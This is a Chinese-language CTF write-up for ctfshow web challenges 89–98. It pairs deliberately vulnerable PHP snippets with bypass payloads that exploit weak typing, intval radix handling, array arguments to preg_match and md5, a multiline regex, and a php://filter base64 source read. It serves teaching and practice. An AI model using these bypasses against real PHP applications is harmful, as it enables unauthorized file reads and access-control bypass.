ctfshow web89-98
ctfshow web89 起 PHP 弱类型相关题解
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
payload: ?num[]=1
preg_match接收数组后返回false,绕过die
intval在数组非空时返回1,故输出flag
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
payload: ?num=+4476
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
payload: ?cmd=php%0aa
两次 preg_match 对参数 cmd 做校验:第一次带 m(多行)修饰符,第二次不带 。利用换行符 %0a 构造多行输入,使多行模式下能匹配单行 php、而单行模式下整串不匹配 ^php$,即可绕过进入 else 分支输出 flag。
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
payload: ?num=0x117c
- num==4476 弱比较,转换成十六进制(0x117c)绕过
- intval($num,0) 的第二个参数 0 表示按字符串前缀自动判进制
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){ //弱比较 ==4476
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ //不能含字母
die("no no no!");
}
if(intval($num,0)==4476){ //自动判断进制,==4476
echo $flag;
}else{
echo intval($num,0);
}
}
因为不能含字母,故十六进制不能用(前缀0x包含x),所以用八进制绕过
4476 -> 010574(八进制)
payload:?num=010574
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ //强比较,===
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ //禁字母
die("no no no!");
}
if(!strpos($num, "0")){ //返回0首次出现位置,这里即要有0,但不能在首位
die("no no no!");
}
if(intval($num,0)===4476){ //自动判断进制,===4476
echo $flag;
}
}
payload:?num=+010574
因为intval是获取整数值,故也能用浮点数绕过
?num=4476.01
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
payload:?num=+010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
payload:?u=./flag.php
或者伪协议
?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5碰撞
第一种传两个不同但md5值相同的字符串
第二种传数组:
md5()无法处理数组,传入数组会返回NULL
payload:a[]=1&b[]=2
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>